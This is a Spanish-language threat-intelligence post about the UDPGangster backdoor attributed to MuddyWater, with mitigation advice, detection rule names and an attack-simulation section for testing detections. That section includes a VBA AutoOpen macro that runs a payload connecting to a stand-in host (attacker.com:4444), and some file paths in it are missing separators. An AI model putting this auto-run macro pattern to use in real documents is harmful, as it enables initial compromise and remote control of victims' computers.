SOC Prime Bias: Critical

08 Dec 2025 13:27 UTC

Ataques de UDPGangster se Extienden a Múltiples Países

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Ataques de UDPGangster se Extienden a Múltiples Países
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

UDPGangster es una puerta trasera basada en UDP utilizada por el grupo de amenazas MuddyWater para controlar remotamente hosts de Windows. El compromiso inicial se produce a través de un documento de Word malicioso que utiliza macros VBA para soltar y ejecutar la carga útil. El malware realiza extensas verificaciones de anti-análisis y mantiene la persistencia copiándose en el directorio AppData del usuario y creando una clave Run. Se han observado campañas recientes dirigidas a usuarios en Turquía, Israel y Azerbaiyán.

Investigación

FortiGuard Labs examinó los correos electrónicos de phishing, la macro VBA incrustada, el ejecutable descargado y sus técnicas de persistencia. Extraeron indicadores como rutas de archivos, entradas de ejecución en el registro, nombres de mutex y la infraestructura C2 asociada. Al correlacionar direcciones IP, dominios y rutas PDB, los analistas pudieron vincular esta actividad a operaciones anteriores de MuddyWater.

Mitigación

Los pasos de mitigación incluyen el bloqueo de macros o una sólida capacitación de usuarios para evitar la ejecución de macros, y el despliegue de defensas en el endpoint que detecten escrituras sospechosas en carpetas públicas o de perfiles de usuarios, así como modificaciones a las claves de registro Run. Los equipos de red deberían monitorear el tráfico UDP anómalo en el puerto 1269 y bloquear direcciones IP y dominios maliciosos conocidos para interrumpir los canales C2.

Respuesta

Cuando se detecta actividad de UDPGangster, aísle el endpoint afectado, recopile memoria volátil e imágenes completas del disco, y busque el binario de la puerta trasera y artefactos relacionados. Bloquee la infraestructura C2 identificada, realice un análisis forense exhaustivo para descubrir sistemas comprometidos adicionales y actualice las firmas de seguridad para detectar tanto los documentos macro maliciosos como la carga útil de la puerta trasera.

Flujo de Ataque

Detecciones

Detección de Comunicación C2 de UDPGangster vía Puerto UDP 1269 [Conexión de Red de Windows]

Reglas de AI de SOC Prime
8 de diciembre de 2025

Ejecución Remota de Comandos de UDPGangster vía CreateProcessA y cmd.exe [Creación de Procesos de Windows]

Reglas de AI de SOC Prime
8 de diciembre de 2025

Detección de Creación de Mutex de UDPGangster [Sysmon de Windows]

Reglas de AI de SOC Prime
8 de diciembre de 2025

IOCs (SourceIP) para detectar: Campañas UDPGangster Apuntan a Múltiples Países

Reglas de AI de SOC Prime
8 de diciembre de 2025

IOCs (DestinationIP) para detectar: Campañas UDPGangster Apuntan a Múltiples Países

Reglas de AI de SOC Prime
8 de diciembre de 2025

Ejecución de Simulación

Requisito previo: La Comprobación Previa de Telemetría y Línea Base debe haber sido aprobada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un atacante entrega un documento de Word malicioso que contiene una macro VBA. La macro llama a la API de Windows CreateProcessA para generar cmd.exe y ejecutar la carga útil de UDPGangster (udp_gangster.exe). La carga útil establece una shell inversa al servidor C2 del atacante. Debido a que la macro pasa explícitamente la cadena “CreateProcessA” y el literal cmd.exe en la línea de comandos, la regla de detección coincidirá.

    1. Macro VBA (simplificada) – demuestra la llamada a la API:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Desplegar la macro, abrir el documento y dejar que la macro se ejecute. El evento de creación del proceso resultante contendrá:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • Script de Prueba de Regresión: El siguiente script de PowerShell reproduce exactamente la telemetría sin requerir un documento de Word. Llama a la API nativa de Win32 CreateProcessA vía Add-Type.

    # Prueba regresiva: llamada directa a CreateProcessA con cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Comandos de Limpieza: Remueva el artefacto creado durante la simulación.

    # Eliminar el archivo de registro temporal generado por la simulación
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue